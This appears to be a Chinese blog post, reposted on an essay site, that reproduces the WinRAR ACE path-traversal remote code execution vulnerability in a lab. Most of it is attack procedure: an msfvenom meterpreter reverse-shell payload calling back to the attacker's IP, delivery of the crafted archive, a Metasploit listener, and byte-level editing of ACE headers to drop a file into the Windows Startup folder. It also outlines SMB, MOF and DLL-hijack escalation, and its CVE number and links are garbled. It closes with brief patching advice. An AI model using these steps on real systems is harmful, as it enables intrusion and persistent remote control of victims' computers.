1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > winrar远程代码执行漏洞复现(cve--20250)

winrar远程代码执行漏洞复现(cve--20250)

时间:2018-07-18 16:47:50

相关推荐

winrar远程代码执行漏洞复现(cve--20250)

使用metasploit验证漏洞

1.漏洞影响

WinRAR < 5.70 Beta 1

Bandizip< = 6.2.0.0

好压(2345压缩) < = 5.9.8.10907

360压缩< = 4.0.0.1170

2.环境搭建

攻击机:kali- ip:192.168.0.171

靶机:windows 7 +winrar5.5 ip:192.168.0.169

3.漏洞复现

(1)下载WinRAR漏洞exp:/WyAtu/CVE--20250

(2)利用msfvenom生成恶意文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.171 lport=1234 -f exe >./test.exe

(3)编辑winrar漏洞exp文件

vi exp.py

按i进行编辑

修改python3的运行命令

修改完后按esc退出编辑,然后按:,输入wq保存

(4)运行winrar漏洞exp

python3 exp.py

(5)把恶意winrar文件传到靶机

为了方便,利用python开启临时server

python -m SimpleHTTPServer 999

利用靶机浏览器访问,并下载test.rar

(6)kali启动msf,设置监听

msfconsole

使用监听模块,并设置参数

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.171

set lport 1234

show options查看是否有遗漏

运行,exploit

(7)靶机解压恶意winrar文件

解压后会在自启动目录生成一个恶意文件hi.exe

目录为:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\(administrator改为你当前用户名)

当电脑重启后就会自动运行该文件(这里为了方便就直接双击了),查看进程hi.exe已经运行

(8)返回kali,已经建立会话sessions

4.漏洞修复

更新winrar到最新版本

使用其它的解压软件,如7z

===========================================================

手工验证漏洞

Check Point的网络安全研究人员发现一个潜伏的漏洞——WinRAR代码执行漏洞。受影响的版本不止Winrar5.7版本之前,Bandzip、2345压缩、好压、totalcmd等软件也受影响,受害者使用受影响的压缩软件解压构造的恶意文件时便会触发漏洞。

受影响的版本

影响版本:

WinRAR < 5.70 Beta 1Bandizip < = 6.2.0.0好压(2345压缩) < = 5.9.8.10907360压缩 < = 4.0.0.1170

腾讯研究员利用玄武实验室自研的“阿图因”系统,对已收录的全网 PC 软件进行了扫描,统计了 unacev2.dll 的使用情况,其版本分布情况如下图所示:

通过“阿图因”系统,腾讯研究员对使用了该共享库的软件进行反向溯源,目前扫描到了受影响的有 24 款国外软件,15 款国产软件。

多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件,以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中,作为解压模块使用。(使用unacev2.dll动态共享库的解压、文件管理类工具软件)

漏洞细节

漏洞主要是由Winrar用来解压ACE压缩包采用的动态链接库unacev2.dll这个dll引起的。unacev2.dll中处理filename时只校验了CRC,可以通过更改压缩包的CRC校验码来修改解压时候的filename来触发这个Path Traversal漏洞。但是Winrar本身检测了filename,有一些限制并且普通用户解压RAR文件时候不能将恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\Users\Administrator\Downloads目录下时,通过构造

C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

经过Winrar的CleanPath函数处理会变成

C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

其中C:会被转换成当前路径,如果用Winrar打开那么当前路径就是C:\Program Files\WinRAR,要是在文件夹中右键解压到xxx\那么当前路径就是压缩包所在的路径。

当用户在文件夹中直接右键解压到xx,那么恶意的payload解压地址就会变成

C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

就是当前用户的启动项。这样一个利用完成了从一个Path Traversal到任意命令执行的过程。

漏洞复现

环境

win7 x64winace v2.69winrar 5.6.1 x64010Editor

复现

0x01 新建文件b404.txt

0x02 使用winace进行压缩,将b404.txt压缩为b404.ace

0x03 下载/droe/acefile 中的ace脚本读取文件头信息:

python acefile.py --headers b404.ace

0x04 更改b404.ace的解压缩路径

第一处为0x590F(hdrcrc),第二处为0x003A(hdrsize),第三处为0x001B(filename的长度),以及最后一处为filename。

0x3A的十进制是580x1B的十进制是27

修改文件名为C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt,文件名长度为69,即十六进制0x0045。在之前的0x001B上修改为0x0045:

0x05 修改hdr_size

因文件的绝对路径更改(即文件名变化),hdr_size发生变化,为100,十六进制为64h

原hdr_size为0x003A,因文件的绝对路径更改(即文件名变化),就更改hdrsize的长度0x003A0x0064:

0x06 修改CRC

现在直接运行acefile脚本检测修改后的ace文件,报错:

参考文章使用的是脚本报错中断时进行下断点,找出正确的CRC值。我直接使用/WyAtu/CVE--20250 中的acefile脚本进行正确的hdr_crc值查找,并更改:

更改成功之后,使用/droe/acefile 中的acefile就可以检验成功:

然后使用WinRAR解压:

解压出来的路径是C:\Users\b404\Desktop\b404\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup,根本不符合C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup的目标地址,也就是目录穿越失败。即构造的文件名C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt需要修改

0x07 重新构造文件名

重新构造文件名为C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt,将其写入到b404.ace中。

使用ace脚本检测ace头信息,得到正确的hdr_crc

此时需要修改的值为:

hdr_size:0x006F(即6Fh,十进制为111)filename_size:0x0050(即50h,十进制为80)right_hdr_crc:0x0EFA

在运行中shell:startup打开自启动目录C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,没有b404.txt

解压到当前文件夹(解压到b404\也可以实现目录穿越):

C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录中就出现b404.txt

成功目录穿越。

扩展

若将b404.txt换成victim.exe,里面添加一些具有迷惑性的文档,ace扩展名更改为rar(WinRAR是通过文件的内容而不是扩展来检测格式的),一旦解压该程序,那就可以做很多事了。

研究人员还发现一个SMB攻击向量,可以连接到任意的IP地址,并在SMB服务器的任意路径创建文件和文件夹。比如:

C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext => \\10.10.10.10\smb_folder_name\some_folder\some_file.ext

在拥有system权限下可以放入c:/windows/system32/wbem/mof/nullevt.mof,直接获取目标主机的权限。

可以投放恶意dll文件进行dll劫持获取到目标主机的权限,或者覆盖用户主机上的文件等方式获取目标主机的权限

修补

升级到最新版本。比如WinRAR升级到5.70 Beta 1(http://win-/fileadmin/winrar-versions/winrar-x64-57b1.exe)删除UNACEV2.dll文件

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。